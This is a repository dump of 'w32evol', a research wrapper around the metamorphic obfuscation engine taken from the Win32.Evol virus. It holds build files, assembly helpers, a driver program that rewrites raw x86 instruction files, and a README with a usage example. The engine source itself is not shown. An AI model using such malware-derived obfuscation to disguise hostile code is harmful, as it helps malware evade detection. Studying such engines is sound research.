├── .gitignore ├── examples └── 01 │ ├── in.bin │ └── out.bin ├── make.bat ├── Makefile ├── src ├── helper_functions.asm ├── w32evol.asm └── engine.asm ├── CODE_OF_CONDUCT.md ├── README.md └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /examples/01/in.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/martinvelez/w32evol/HEAD/examples/01/in.bin -------------------------------------------------------------------------------- /examples/01/out.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/martinvelez/w32evol/HEAD/examples/01/out.bin -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | REM make.bat 2 | REM Makefile for W32.Evol obfuscation engine for Windows 3 | REM 4 | REM Assember: MAMS32 (ml.exe) 5 | REM Linker: MASM32 (link.exe) 6 | REM Ensure that MASM32 bin directory is in your PATH 7 | REM 8 | REM NOT TESTED 9 | 10 | @echo off 11 | ml /nologo /c /coff src\w32evol.asm 12 | link /SUBSYSTEM:CONSOLE w32evol.obj 13 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Makefile for W32.Evol obfuscation engine 3 | # 4 | # Assembler: MAMS32 (ml.exe) 5 | # Linker: MASM32 (link.exe) 6 | # 7 | 8 | SHELL = /bin/sh 9 | AS = wine "C:\\masm32\\bin\\ml.exe" 10 | ASFLAGS = /nologo /c /coff 11 | LD = wine "C:\\masm32\\bin\\link.exe" 12 | LDFLAGS = /nologo /SUBSYSTEM:CONSOLE 13 | 14 | DESTDIR = . 15 | srcdir = src 16 | bindir = $(DESTDIR)/bin 17 | 18 | all: w32evol.exe 19 | 20 | install: all 21 | mkdir $(bindir) 22 | mv w32evol.exe $(bindir) 23 | 24 | uninstall : 25 | rm -f $(bindir)/w32evol.exe 26 | 27 | w32evol.obj : $(srcdir)/w32evol.asm $(srcdir)/engine.asm $(srcdir)/helper_functions.asm 28 | $(AS) $(ASFLAGS) $(srcdir)/w32evol.asm 29 | 30 | w32evol.exe : w32evol.obj 31 | $(LD) $(LDFLAGS) w32evol.obj 32 | 33 | clean : 34 | rm -f w32evol.obj w32evol.exe *~ 35 | -------------------------------------------------------------------------------- /src/helper_functions.asm: -------------------------------------------------------------------------------- 1 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 2 | ;These functions were not originally found in disassembly of w32/Evol 3 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 4 | 5 | ;function that generates a random number 6 | Random proc near 7 | push ebp 8 | mov ebp, esp 9 | push ebx 10 | call GetTickCount 11 | mov eax, [ebx+14h] 12 | push eax 13 | call FormatRandomSeed 14 | mov [ebx + 14h], eax 15 | pop ebx 16 | pop ebp 17 | ret 18 | Random endp 19 | 20 | 21 | 22 | ;helper function for Random number generator 23 | FormatRandomSeed proc 24 | push ecx 25 | push edx 26 | xor edx, edx 27 | mov ecx, 7FFFFD9h 28 | mul ecx 29 | xor eax, 18Ah 30 | mov ecx, 0FFFFFFFBh 31 | div ecx 32 | mov eax, edx 33 | pop edx 34 | pop ecx 35 | ret 4 36 | FormatRandomSeed endp 37 | 38 | ;wrapper function for VirtuallAlloc 39 | callVirtualAlloc proc 40 | dwSize = dword ptr 8 41 | ; print "callVirtualAlloc", 10, 13 42 | push ebp ; standard entry sequence: save the value of ebp 43 | mov ebp, esp ; ebp now points to the top of the stack 44 | push 4 ; DWORD flProtect = PAGE_READWRITE 45 | push 1000h ; DWORD flAllocationType = MEM_COMMIT 46 | mov eax, [ebp+dwSize] 47 | push eax ; DWORD dwSize = bytes to allocate 48 | push 0 ; LPVOID lpAddress = NULL 49 | call VirtualAlloc ; LPVOID VirtualAlloc(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect ); 50 | pop ebp 51 | retn 4 52 | callVirtualAlloc endp 53 | 54 | ;wrapper function for VirtuallFree 55 | callVirtualFree proc near 56 | lpAddress = dword ptr 8 57 | ; print "callVirtualFree", 10, 13 58 | push ebp ; standard entry sequence: save the value of ebp 59 | mov ebp, esp ; ebp now points to the top of the stack 60 | push 8000h ; __in DWORD dwFreeType = MEM_RELEASE 61 | push 0 ; __in SIZE_T dwSize = 0 62 | mov eax, [ebp+lpAddress] 63 | push eax ; __in LPVOID lpAddress 64 | call VirtualFree ;BOOL WINAPI VirtualFree(__in LPVOID lpAddress, __in SIZE_T dwSize, __in DWORD dwFreeType); 65 | pop ebp 66 | ret 4 67 | callVirtualFree endp 68 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 69 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at mvelez999@yahoo.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /src/w32evol.asm: -------------------------------------------------------------------------------- 1 | .486 2 | .model flat,stdcall 3 | option casemap:none 4 | 5 | include C:\masm32\include\windows.inc 6 | include C:\masm32\include\kernel32.inc 7 | include C:\masm32\include\user32.inc 8 | include C:\masm32\include\masm32.inc 9 | 10 | includelib C:\masm32\lib\kernel32.lib 11 | includelib C:\masm32\lib\user32.lib 12 | includelib C:\masm32\lib\masm32.lib 13 | 14 | .data 15 | success dd 0 16 | ; error codes 17 | errorEngineCrashed dd 1 18 | errorUsage dd 2 19 | errorOpenFile dd 3 20 | errorReadFile dd 4 21 | errorCloseFile dd 5 22 | errorCreateFile dd 6 23 | errorWriteFile dd 7 24 | errorEngineAbort dd 8 25 | 26 | bytesRead dd 0 27 | bytesToWrite dd 0 28 | bytesWritten dd 0 29 | ibuf db 1024 dup (0) ; 10,000 bytes initialized to 0 30 | 31 | 32 | .data? 33 | obuf db 1024 dup (?) ; 10,000 bytes initialized to 0 34 | 35 | infileName db 128 dup (?) 36 | infileHandle dd 1 dup (?) 37 | infileSize dd 1 dup (?) 38 | 39 | outfileName db 128 dup (?) 40 | outfileHandle dd 1 dup (?) 41 | outfileSize dd 1 dup (?) 42 | 43 | 44 | .code 45 | include engine.asm 46 | start: 47 | push offset TopLevelExceptionFilter 48 | CALL SetUnhandledExceptionFilter 49 | 50 | invoke GetCL, 1, addr infileName ; infileName := ARGV[1] 51 | cmp eax, 1 ; 1 = success, 2 = no argument exists at specified arg number, 3 = non-matching quotatin marks, 4 = empty quotation marks 52 | jne printusage ; if !success, print usage 53 | invoke GetCL, 2, addr outfileName ; outfileName := ARGV[2] 54 | cmp eax, 1 ; 1 = success, 2 = no argument exists at specified arg number, 3 = non-matching quotatin marks, 4 = empty quotation marks 55 | jne printusage ; if !success, print usage 56 | 57 | readInfile: 58 | ; open infile and read contents into allocated memory ibuf 59 | invoke CreateFile, addr infileName, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 60 | cmp eax, INVALID_HANDLE_VALUE 61 | je openfileError 62 | mov infileHandle, eax ; save file handle 63 | 64 | invoke GetFileSize, eax, 0 65 | mov infileSize, eax ; save size of file 66 | 67 | lea ecx, bytesRead 68 | invoke ReadFile, infileHandle, addr ibuf, infileSize, ecx, 0 69 | xor eax, 0 70 | jz readfileError 71 | 72 | invoke CloseHandle, infileHandle 73 | cmp eax, 0 ;If the function succeeds, the return value is nonzero. 74 | je closefileError 75 | 76 | callengine: 77 | push offset obuf 78 | push infileSize 79 | push offset ibuf 80 | call MetaEngine 81 | cmp eax, 0 ; engine returns 0 if it aborts/fails 82 | je engineFailed 83 | mov bytesToWrite, eax 84 | 85 | writetofile: 86 | ; open infile and write contents from outbuf 87 | invoke CreateFile, addr outfileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 88 | cmp eax, INVALID_HANDLE_VALUE 89 | je createfileError 90 | mov outfileHandle, eax ; save file handle 91 | 92 | lea ecx, bytesWritten 93 | invoke WriteFile, outfileHandle, addr obuf, bytesToWrite, ecx, 0 94 | cmp eax, 0 ;If the function succeeds, the return value is nonzero (TRUE). 95 | je writefileError 96 | 97 | invoke CloseHandle, outfileHandle 98 | cmp eax, 0 ;If the function succeeds, the return value is nonzero. 99 | je closefileError 100 | 101 | mov eax, success ; program exit code := success 102 | jmp close 103 | 104 | printusage: 105 | mov eax, errorUsage 106 | jmp close 107 | 108 | openfileError: 109 | mov eax, errorOpenFile 110 | jmp close 111 | 112 | readfileError: 113 | mov eax, errorReadFile 114 | jmp close 115 | 116 | closefileError: 117 | mov eax, errorCloseFile 118 | jmp close 119 | 120 | createfileError: 121 | mov eax, errorCreateFile 122 | jmp close 123 | 124 | writefileError: 125 | mov eax, errorWriteFile 126 | jmp close 127 | 128 | engineFailed: 129 | mov eax, errorEngineAbort 130 | jmp close 131 | 132 | close: 133 | invoke ExitProcess, eax ; return engine exit code 134 | 135 | TopLevelExceptionFilter: 136 | mov eax, 1 ; 1 == do not display error closure box 137 | ret 138 | end start 139 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # w32evol -- an x86 obfuscation engine 2 | - - - 3 | 4 | ## Table of Contents 5 | 1. Introduction 6 | 2. Dependencies 7 | 3. Installation 8 | 4. Usage 9 | 5. Development 10 | 6. APPENDIX A: MASM32 and wine 11 | 12 | - - - 13 | 14 | ## 1. Introduction 15 | **This does not contain a virus.** 16 | 17 | w32evol is a command line interface to the obfuscation/metamorphic engine used 18 | by the 19 | [Win32.Evol](http://www.symantec.com/security\_response/writeup.jsp?docid=2000-122010-0045-99) 20 | virus. It rewrites files containing x86 instructions encoded in binary. 21 | 22 | The 23 | [Win32.Evol](http://www.symantec.com/security\_response/writeup.jsp?docid=2000-122010-0045-99) 24 | virus appeared around July 2000 and was able to infect any major Win32 25 | platform. It used this metamorphic engine to rewrite its code during 26 | replication. The purpose of its metamorphic engine was to create mutated copies 27 | of itself.Hence, some of the transformations or rewritings it applies to 28 | instructions do not necessarily obfuscate. 29 | 30 | ## 2. Dependencies 31 | 32 | ### General 33 | 34 | * [MAMS32](http://www.masm32.com/) 35 | * ml.exe: assembler 36 | * link.exe: linker 37 | 38 | ### Linux (Tested on Ubuntu 11.10) 39 | 40 | * [wine](http://www.winehq.org/download/) (1.3 or greater, may work with 1.2) 41 | 42 | See **APPENDIX A** for more information about installing and running MASM32 in 43 | Linux. 44 | 45 | ## 3. Installation 46 | The goal is to build w32evol.exe. Makefiles for Windows and Linux are 47 | included. The following instructions do not place w32evol.exe in your PATH. 48 | 49 | ### Linux (Tested on Ubuntu 11.10) 50 | 51 | $ make install 52 | 53 | If you want to install this program, then you can then place this whole 54 | directory tree somewhere where you install non-packaged programs. The /opt/ 55 | folder is one example. 56 | 57 | ### Windows 58 | This batch file builds w32evol.exe. After w32evol.exe is built, you can 59 | place/install it wherever you please. 60 | 61 | > make.bat 62 | 63 | *Note 1* This build process assumes that your Windows drive volume is labeled 64 | "C:". If your drive volume is labeled something else, for example, "Z:", then 65 | you have to update the include paths in the src/w32evol.asm file. 66 | 67 | ## 4. Usage 68 | **in.bin**: input file; exists; contains x86 instructions encoded in raw binary 69 | code 70 | 71 | **out.bin**: output file; create if does not exist; obfuscated x86 instructions 72 | encoded in raw binary code 73 | 74 | ## Linux 75 | 76 | $ wine path/to/w32evol.exe 77 | 78 | ## Windows 79 | 80 | >path/to/w32evol.exe 81 | 82 | ## Usage: Example 1 83 | In this example, we use w32evol.exe to obfuscate (or transform) an instruction 84 | to an equivalent instruction in the Intel x86 instruction set. Unfortunately, 85 | the obfuscation engines added three extra bytes (00 00 00), and changed the 86 | semantics. This demonstrates that some obfuscation engines have bugs. 87 | 88 | $ ndisasm in.bin 89 | 00000000 83C00A add ax,byte +0xa 90 | $ wine w32evol.exe in.bin out.bin 91 | $ ndisasm out.bin 92 | 00000000 81C00A00 add ax,0xa 93 | 00000004 0000 add [bx+si],al 94 | 95 | 96 | ## 5. Development 97 | 98 | * Original Author: Unknown. 99 | * Author: [Martin Velez](https://martinvelez.github.io), Earl Barr, and Zhendong Su. 100 | * License: MIT 101 | 102 | Please read the [Code of Conduct](CODE_OF_CONDUCT.md). You can obtain the source from Github. 103 | 104 | ```bash 105 | git clone https://github.com/martinvelez/w32evol 106 | ``` 107 | 108 | You report bugs and request features using the Github issue tracker. 109 | 110 | ```bash 111 | https://github.com/martinvelez/w32evol/issues 112 | ``` 113 | 114 | ## 6. Acknowledgements 115 | * [Orr](http://www.antilife.org/files/Evol.pdf) wrote an [article](www.openrce.org/articles/full\_view/27) in which described how he disassembled the metamorphic engine used in the W32.Evol virus. He was kind enough to email his disassembled code. 116 | * [VX Heavens](http://vx.netlux.org/vl.php?dir=Virus.Win32.Evol) 117 | * orriscariot@gmail.com provided disassembled source code. Some of his functions contained errors which cause the program to fail. We obtained executabled code from http://vx.netlux.org/vl.php?dir=Virus.Win32.Evol, and disassembled it using IDA Pro. We found the mistakes in the disassembled source code and corrected them. 118 | 119 | ## APPENDIX A: MASM32 and wine 120 | It is possible to use MASM32 in Linux using wine. When you download MAMS32, 121 | you get an installer file, install.exe. Use wine to run that installer. 122 | 123 | $ cd ~/Downloads 124 | $ ls 125 | install.exe 126 | $ wineconsole install.exe 127 | 128 | I have installed MASM32 using wine in two different Ubuntu machines and the 129 | MASM32 libraries have not been built successfully in either machine. I had 130 | to build the libraries myself. 131 | 132 | user@host:~/.wine/drive_c/masm32$ ls 133 | gtstbd.qsc dlgtmplt.qsc licence mnutoasm.exe qetxt.bin topgun.exe 134 | bin examples m32lib multitool.exe qsc.dll tproc.exe 135 | bin2dbex.exe fda32.exe macros plugins script tproc.txt 136 | blankdlg.qsc fda.exe makecimp.exe procmap.exe se.dll tutorial 137 | bldmakit.qsc fpulib makecon.qsc procs shellex.exe tview.exe 138 | blockp.ini getcolor.exe makelibs.bat prostart.exe subclass.exe ueint.bin 139 | cg.exe help makerc.qsc prostart.ini testbed.qsc uetxt.bin 140 | cg.ini include maketbl.exe prostart.set testinst uniedit.exe 141 | cpicker.exe intro.txt mangle.exe pths.ini text vkdebug 142 | datetime jtmake.exe masm32ci.exe qeditor.exe tmp.qsc wcsch.exe 143 | dlgmake.exe lib menuedit.dll qeint.bin tools 144 | dlgproc.qsc libbat.qsc menus.ini qetb.exe topgun.chm 145 | user@host:~/.wine/drive_c/masm32$ wine cmd 146 | CMD Version 1.3.28 147 | 148 | Z:\home\user\Downloads>makelibs.bat 149 | 150 | In one machine, this proceeded without a problem. In another machine, I had 151 | to increase 'ulimit -n' from 1024 to 4096 because, apparently, wine was 152 | opening too many files. 153 | 154 | 155 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part 